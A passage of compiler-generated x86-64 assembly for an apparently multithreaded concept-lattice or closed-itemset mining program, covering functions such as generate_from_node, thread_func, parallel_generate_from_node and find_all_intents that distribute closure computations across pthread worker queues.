_int_count_a(%rip), %eax jge LBB8_24 ## %bb.22: ## in Loop: Header=BB8_21 Depth=2 movq _context@GOTPCREL(%rip), %rax movq (%rax), %rax movl _int_count_a(%rip), %ecx imull -48(%rbp), %ecx addl -44(%rbp), %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rdx movq -8(%rbp), %rax movslq -44(%rbp), %rcx andq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) ## %bb.23: ## in Loop: Header=BB8_21 Depth=2 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) jmp LBB8_21 LBB8_24: ## in Loop: Header=BB8_19 Depth=1 jmp LBB8_25 LBB8_25: ## in Loop: Header=BB8_19 Depth=1 movl -48(%rbp), %eax addl $1, %eax movl %eax, -48(%rbp) jmp LBB8_19 LBB8_26: jmp LBB8_27 LBB8_27: addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _generate_from_node ## -- Begin function generate_from_node .p2align 4, 0x90 _generate_from_node: ## @generate_from_node .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movl %ecx, -24(%rbp) movl %r8d, -28(%rbp) movq $0, -48(%rbp) movq -16(%rbp), %rax movslq _int_count_o(%rip), %rcx shlq $3, %rcx addq %rcx, %rax movq %rax, -64(%rbp) movq -64(%rbp), %rax movslq _int_count_a(%rip), %rcx shlq $3, %rcx addq %rcx, %rax movq %rax, -56(%rbp) movslq -20(%rbp), %rax shlq $6, %rax movslq -24(%rbp), %rdx movl $63, %ecx subq %rdx, %rcx addq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) LBB9_1: ## =>This Loop Header: Depth=1 ## Child Loop BB9_3 Depth 2 ## Child Loop BB9_12 Depth 3 movl -20(%rbp), %eax cmpl _int_count_a(%rip), %eax jge LBB9_29 ## %bb.2: ## in Loop: Header=BB9_1 Depth=1 jmp LBB9_3 LBB9_3: ## Parent Loop BB9_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB9_12 Depth 3 cmpl $0, -24(%rbp) jl LBB9_27 ## %bb.4: ## in Loop: Header=BB9_3 Depth=2 movl -36(%rbp), %eax cmpl _attributes(%rip), %eax jl LBB9_6 ## %bb.5: jmp LBB9_30 LBB9_6: ## in Loop: Header=BB9_3 Depth=2 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) movq -8(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movl -24(%rbp), %ecx ## kill: def $rcx killed $ecx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq %rdx, %rcx andq %rcx, %rax cmpq $0, %rax jne LBB9_8 ## %bb.7: ## in Loop: Header=BB9_3 Depth=2 movq _supps@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -20(%rbp), %rcx shlq $8, %rcx addq %rcx, %rax movslq -24(%rbp), %rcx movl (%rax,%rcx,4), %eax cmpl _min_support(%rip), %eax jge LBB9_9 LBB9_8: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_26 LBB9_9: ## in Loop: Header=BB9_3 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movq -16(%rbp), %rdx movq _cols@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -20(%rbp), %rcx shlq $9, %rcx addq %rcx, %rax movslq -24(%rbp), %rcx movq (%rax,%rcx,8), %rcx leaq -48(%rbp), %r8 callq _compute_closure movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl (%rax), %ecx addl $1, %ecx movl %ecx, (%rax) movq -64(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movq -8(%rbp), %rcx movslq -20(%rbp), %rdx xorq (%rcx,%rdx,8), %rax movslq -24(%rbp), %rdx movq _upto_bit@GOTPCREL(%rip), %rcx andq (%rcx,%rdx,8), %rax cmpq $0, %rax je LBB9_11 ## %bb.10: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_25 LBB9_11: ## in Loop: Header=BB9_3 Depth=2 movl $0, -32(%rbp) LBB9_12: ## Parent Loop BB9_1 Depth=1 ## Parent Loop BB9_3 Depth=2 ## => This Inner Loop Header: Depth=3 movl -32(%rbp), %eax cmpl -20(%rbp), %eax jge LBB9_17 ## %bb.13: ## in Loop: Header=BB9_12 Depth=3 movq -64(%rbp), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movq -8(%rbp), %rcx movslq -32(%rbp), %rdx xorq (%rcx,%rdx,8), %rax cmpq $0, %rax je LBB9_15 ## %bb.14: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_25 LBB9_15: ## in Loop: Header=BB9_12 Depth=3 jmp LBB9_16 LBB9_16: ## in Loop: Header=BB9_12 Depth=3 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB9_12 LBB9_17: ## in Loop: Header=BB9_3 Depth=2 movq -48(%rbp), %rax movslq _min_support(%rip), %rcx cmpq %rcx, %rax jae LBB9_19 ## %bb.18: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_25 LBB9_19: ## in Loop: Header=BB9_3 Depth=2 movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -28(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) movq -64(%rbp), %rdi callq _print_attributes movq -64(%rbp), %rax movl _int_count_a(%rip), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax andq $1, %rax cmpq $0, %rax je LBB9_21 ## %bb.20: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_25 LBB9_21: ## in Loop: Header=BB9_3 Depth=2 cmpl $0, -24(%rbp) jne LBB9_23 ## %bb.22: ## in Loop: Header=BB9_3 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movl -20(%rbp), %edx addl $1, %edx movl -28(%rbp), %r8d movl $63, %ecx callq _generate_from_node jmp LBB9_24 LBB9_23: ## in Loop: Header=BB9_3 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movl -20(%rbp), %edx movl -24(%rbp), %ecx subl $1, %ecx movl -28(%rbp), %r8d callq _generate_from_node LBB9_24: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_25 LBB9_25: ## in Loop: Header=BB9_3 Depth=2 jmp LBB9_26 LBB9_26: ## in Loop: Header=BB9_3 Depth=2 movl -24(%rbp), %eax addl $-1, %eax movl %eax, -24(%rbp) jmp LBB9_3 LBB9_27: ## in Loop: Header=BB9_1 Depth=1 movl $63, -24(%rbp) ## %bb.28: ## in Loop: Header=BB9_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB9_1 LBB9_29: jmp LBB9_30 LBB9_30: addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _thread_func ## -- Begin function thread_func .p2align 4, 0x90 _thread_func: ## @thread_func .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movl (%rax), %eax movl %eax, -12(%rbp) LBB10_1: ## =>This Inner Loop Header: Depth=1 movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rax movq _thread_queue@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -12(%rbp), %rdx cmpq (%rcx,%rdx,8), %rax jae LBB10_3 ## %bb.2: ## in Loop: Header=BB10_1 Depth=1 movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rsi movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq $-1, %rcx callq ___memcpy_chk movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx addq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdi movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rsi movslq _int_count_a(%rip), %rax shlq $3, %rax addq %rax, %rsi movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rax movl (%rax), %edx movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx movl -12(%rbp), %r8d callq _generate_from_node movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -12(%rbp), %rcx movq (%rax,%rcx,8), %rdx addq $8, %rdx movq %rdx, (%rax,%rcx,8) jmp LBB10_1 LBB10_3: xorl %eax, %eax ## kill: def $rax killed $eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _parallel_generate_from_node ## -- Begin function parallel_generate_from_node .p2align 4, 0x90 _parallel_generate_from_node: ## @parallel_generate_from_node .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movl %ecx, -24(%rbp) movl %r8d, -28(%rbp) movl %r9d, -32(%rbp) movq $0, -48(%rbp) movl -28(%rbp), %eax cmpl _para_level(%rip), %eax jne LBB11_4 ## %bb.1: movl _parallel_generate_from_node.num(%rip), %eax movq _threads@GOTPCREL(%rip), %rcx cltd idivl (%rcx) movl %edx, -36(%rbp) movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdi movq -8(%rbp), %rsi movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq $-1, %rcx callq ___memcpy_chk movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx addq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) movl -20(%rbp), %ecx movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rdx movq (%rax,%rdx,8), %rax movl %ecx, (%rax) movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdx addq $4, %rdx movq %rdx, (%rax,%rcx,8) movl -24(%rbp), %ecx movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rdx movq (%rax,%rdx,8), %rax movl %ecx, (%rax) movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdx addq $4, %rdx movq %rdx, (%rax,%rcx,8) movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl 8(%rax), %ecx addl $1, %ecx movl %ecx, 8(%rax) movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movq _thread_queue_limit@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -36(%rbp), %rdx cmpq (%rcx,%rdx,8), %rax jne LBB11_3 ## %bb.2: movq _thread_queue_limit@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movq _thread_queue_head@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -36(%rbp), %rdx movq (%rcx,%rdx,8), %rcx subq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -40(%rbp) movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdi movl -40(%rbp), %eax shll $1, %eax movslq %eax, %rsi callq _realloc movq %rax, %rdx movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdx movslq -40(%rbp), %rax addq %rax, %rdx movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rdx movl -40(%rbp), %eax shll $1, %eax cltq addq %rax, %rdx movq _thread_queue_limit@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq %rdx, (%rax,%rcx,8) LBB11_3: movl _parallel_generate_from_node.num(%rip), %eax addl $1, %eax movl %eax, _parallel_generate_from_node.num(%rip) jmp LBB11_46 LBB11_4: movq -16(%rbp), %rax movslq _int_count_o(%rip), %rcx shlq $3, %rcx addq %rcx, %rax movq %rax, -64(%rbp) movq -64(%rbp), %rax movslq _int_count_a(%rip), %rcx shlq $3, %rcx addq %rcx, %rax movq %rax, -56(%rbp) movslq -20(%rbp), %rax shlq $6, %rax movslq -24(%rbp), %rdx movl $63, %ecx subq %rdx, %rcx addq %rcx, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -40(%rbp) LBB11_5: ## =>This Loop Header: Depth=1 ## Child Loop BB11_7 Depth 2 ## Child Loop BB11_16 Depth 3 movl -20(%rbp), %eax cmpl _int_count_a(%rip), %eax jge LBB11_33 ## %bb.6: ## in Loop: Header=BB11_5 Depth=1 jmp LBB11_7 LBB11_7: ## Parent Loop BB11_5 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB11_16 Depth 3 cmpl $0, -24(%rbp) jl LBB11_31 ## %bb.8: ## in Loop: Header=BB11_7 Depth=2 movl -40(%rbp), %eax cmpl _attributes(%rip), %eax jl LBB11_10 ## %bb.9: jmp LBB11_34 LBB11_10: ## in Loop: Header=BB11_7 Depth=2 movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) movq -8(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movl -24(%rbp), %ecx ## kill: def $rcx killed $ecx movl $1, %edx ## kill: def $cl killed $rcx shlq %cl, %rdx movq %rdx, %rcx andq %rcx, %rax cmpq $0, %rax jne LBB11_12 ## %bb.11: ## in Loop: Header=BB11_7 Depth=2 movq _supps@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -20(%rbp), %rcx shlq $8, %rcx addq %rcx, %rax movslq -24(%rbp), %rcx movl (%rax,%rcx,4), %eax cmpl _min_support(%rip), %eax jge LBB11_13 LBB11_12: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_30 LBB11_13: ## in Loop: Header=BB11_7 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movq -16(%rbp), %rdx movq _cols@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -20(%rbp), %rcx shlq $9, %rcx addq %rcx, %rax movslq -24(%rbp), %rcx movq (%rax,%rcx,8), %rcx leaq -48(%rbp), %r8 callq _compute_closure movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl (%rax), %ecx addl $1, %ecx movl %ecx, (%rax) movq -64(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movq -8(%rbp), %rcx movslq -20(%rbp), %rdx xorq (%rcx,%rdx,8), %rax movslq -24(%rbp), %rdx movq _upto_bit@GOTPCREL(%rip), %rcx andq (%rcx,%rdx,8), %rax cmpq $0, %rax je LBB11_15 ## %bb.14: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_29 LBB11_15: ## in Loop: Header=BB11_7 Depth=2 movl $0, -36(%rbp) LBB11_16: ## Parent Loop BB11_5 Depth=1 ## Parent Loop BB11_7 Depth=2 ## => This Inner Loop Header: Depth=3 movl -36(%rbp), %eax cmpl -20(%rbp), %eax jge LBB11_21 ## %bb.17: ## in Loop: Header=BB11_16 Depth=3 movq -64(%rbp), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movq -8(%rbp), %rcx movslq -36(%rbp), %rdx xorq (%rcx,%rdx,8), %rax cmpq $0, %rax je LBB11_19 ## %bb.18: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_29 LBB11_19: ## in Loop: Header=BB11_16 Depth=3 jmp LBB11_20 LBB11_20: ## in Loop: Header=BB11_16 Depth=3 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB11_16 LBB11_21: ## in Loop: Header=BB11_7 Depth=2 movq -48(%rbp), %rax movslq _min_support(%rip), %rcx cmpq %rcx, %rax jae LBB11_23 ## %bb.22: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_29 LBB11_23: ## in Loop: Header=BB11_7 Depth=2 movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) movq -64(%rbp), %rdi callq _print_attributes movq -64(%rbp), %rax movl _int_count_a(%rip), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax andq $1, %rax cmpq $0, %rax je LBB11_25 ## %bb.24: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_29 LBB11_25: ## in Loop: Header=BB11_7 Depth=2 cmpl $0, -24(%rbp) jne LBB11_27 ## %bb.26: ## in Loop: Header=BB11_7 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movl -20(%rbp), %edx addl $1, %edx movl -28(%rbp), %r8d addl $1, %r8d movl -32(%rbp), %r9d movl $63, %ecx callq _parallel_generate_from_node jmp LBB11_28 LBB11_27: ## in Loop: Header=BB11_7 Depth=2 movq -64(%rbp), %rdi movq -56(%rbp), %rsi movl -20(%rbp), %edx movl -24(%rbp), %ecx subl $1, %ecx movl -28(%rbp), %r8d addl $1, %r8d movl -32(%rbp), %r9d callq _parallel_generate_from_node LBB11_28: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_29 LBB11_29: ## in Loop: Header=BB11_7 Depth=2 jmp LBB11_30 LBB11_30: ## in Loop: Header=BB11_7 Depth=2 movl -24(%rbp), %eax addl $-1, %eax movl %eax, -24(%rbp) jmp LBB11_7 LBB11_31: ## in Loop: Header=BB11_5 Depth=1 movl $63, -24(%rbp) ## %bb.32: ## in Loop: Header=BB11_5 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB11_5 LBB11_33: jmp LBB11_34 LBB11_34: cmpl $0, -28(%rbp) jne LBB11_45 ## %bb.35: movl _para_level(%rip), %edi movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl _parallel_generate_from_node.num(%rip), %ecx movq (%rax), %rdx movq %rdx, -80(%rbp) movl 8(%rax), %eax movl %eax, -72(%rbp) movq -80(%rbp), %rsi movl -72(%rbp), %edx callq _print_initial_thread_info movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _initial_thr_stat@GOTPCREL(%rip), %rax movq (%rcx), %rdx movq %rdx, (%rax) movl 8(%rcx), %ecx movl %ecx, 8(%rax) movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl $0, (%rax) movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl $0, 4(%rax) movl $1, -36(%rbp) LBB11_36: ## =>This Inner Loop Header: Depth=1 movl -36(%rbp), %eax movq _threads@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB11_41 ## %bb.37: ## in Loop: Header=BB11_36 Depth=1 movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movq _thread_queue@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -36(%rbp), %rdx cmpq (%rcx,%rdx,8), %rax je LBB11_39 ## %bb.38: ## in Loop: Header=BB11_36 Depth=1 movq _thread_id@GOTPCREL(%rip), %rax movq (%rax), %rdi movslq -36(%rbp), %rax shlq $3, %rax addq %rax, %rdi movq _thread_i@GOTPCREL(%rip), %rax movq (%rax), %rcx movslq -36(%rbp), %rax shlq $2, %rax addq %rax, %rcx xorl %eax, %eax movl %eax, %esi leaq _thread_func(%rip), %rdx callq _pthread_create LBB11_39: ## in Loop: Header=BB11_36 Depth=1 jmp LBB11_40 LBB11_40: ## in Loop: Header=BB11_36 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB11_36 LBB11_41: jmp LBB11_42 LBB11_42: ## =>This Inner Loop Header: Depth=1 movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movq _thread_queue@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq -32(%rbp), %rdx cmpq (%rcx,%rdx,8), %rax jae LBB11_44 ## %bb.43: ## in Loop: Header=BB11_42 Depth=1 movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rdi movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rsi movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq $-1, %rcx callq ___memcpy_chk movslq _int_count_a(%rip), %rdx shlq $3, %rdx movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdx movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx addq (%rax,%rcx,8), %rdx movq %rdx, (%rax,%rcx,8) movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rdi movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rsi movslq _int_count_a(%rip), %rax shlq $3, %rax addq %rax, %rsi movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movl (%rax), %edx movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movl 4(%rax), %ecx movl -32(%rbp), %r8d callq _generate_from_node movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rdx addq $8, %rdx movq %rdx, (%rax,%rcx,8) jmp LBB11_42 LBB11_44: jmp LBB11_45 LBB11_45: jmp LBB11_46 LBB11_46: addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _find_all_intents ## -- Begin function find_all_intents .p2align 4, 0x90 _find_all_intents: ## @find_all_intents .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp cmpl $0, _para_level(%rip) jg LBB12_2 ## %bb.1: movl $1, _para_level(%rip) LBB12_2: movl _para_level(%rip), %eax cmpl _attributes(%rip), %eax jle LBB12_4 ## %bb.3: movl _attributes(%rip), %eax movl %eax, _para_level(%rip) LBB12_4: movl _cpus(%rip), %ecx movq _threads@GOTPCREL(%rip), %rax movl %ecx, (%rax) movq _threads@GOTPCREL(%rip), %rax cmpl $0, (%rax) jg LBB12_6 ## %bb.5: movq _threads@GOTPCREL(%rip), %rax movl $1, (%rax) LBB12_6: cmpl $3, _verbosity_level(%rip) jl LBB12_8 ## %bb.7: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _threads@GOTPCREL(%rip), %rax movl (%rax), %edx leaq L_.str.8(%rip), %rsi movb $0, %al callq _fprintf LBB12_8: movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi movl $12, %esi callq _calloc movq %rax, %rcx movq _counts@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $3, %rdi callq _malloc movq %rax, %rcx movq _thread_id@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _thread_id@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdx shlq $3, %rdx xorl %esi, %esi movq $-1, %rcx callq ___memset_chk movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $2, %rdi callq _malloc movq %rax, %rcx movq _thread_i@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $3, %rdi callq _malloc movq %rax, %rcx movq _thread_queue@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $3, %rdi callq _malloc movq %rax, %rcx movq _thread_queue_head@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $3, %rdi callq _malloc movq %rax, %rcx movq _thread_queue_limit@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq _threads@GOTPCREL(%rip), %rax movslq (%rax), %rdi shlq $3, %rdi callq _malloc movq %rax, %rcx movq _thread_intents@GOTPCREL(%rip), %rax movq %rcx, (%rax) movl _attributes(%rip), %eax movl %eax, -8(%rbp) movl -8(%rbp), %eax movq _threads@GOTPCREL(%rip), %rcx cltd idivl (%rcx) addl $1, %eax movl %eax, -8(%rbp) movl _attributes(%rip), %eax subl _para_level(%rip), %eax addl $1, %eax movl %eax, -12(%rbp) movl $0, -4(%rbp) LBB12_9: ## =>This Inner Loop Header: Depth=1 movl -4(%rbp), %eax movq _threads@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB12_12 ## %bb.10: ## in Loop: Header=BB12_9 Depth=1 movl -4(%rbp), %edx movq _thread_i@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movl %edx, (%rax,%rcx,4) movslq _int_count_a(%rip), %rdi shlq $3, %rdi movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdi addq $8, %rdi movslq -8(%rbp), %rax imulq %rax, %rdi callq _malloc movq %rax, %rdx movq _thread_queue@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq _thread_queue_head@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq (%rax,%rcx,8), %rdx movslq _int_count_a(%rip), %rax shlq $3, %rax movslq _int_count_o(%rip), %rcx shlq $3, %rcx addq %rcx, %rax addq $8, %rax movslq -8(%rbp), %rcx imulq %rcx, %rax addq %rax, %rdx movq _thread_queue_limit@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movslq _int_count_a(%rip), %rdi shlq $3, %rdi movslq _int_count_o(%rip), %rax shlq $3, %rax addq %rax, %rdi movslq -12(%rbp), %rax imulq %rax, %rdi callq _malloc movq %rax, %rdx movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq %rdx, (%rax,%rcx,8) ## %bb.11: ## in Loop: Header=BB12_9 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB12_9 LBB12_12: movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rdi movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rsi movslq _int_count_a(%rip), %rax shlq $3, %rax addq %rax, %rsi xorl %eax, %eax movl %eax, %r8d movq %r8, %rdx movq %r8, %rcx callq _compute_closure movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl (%rax), %ecx addl $1, %ecx movl %ecx, (%rax) movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl 4(%rax), %ecx addl $1, %ecx movl %ecx, 4(%rax) movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rdi callq _print_attributes movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movl _int_count_a(%rip), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax andq $1, %rax cmpq $0, %rax je LBB12_14 ## %bb.13: 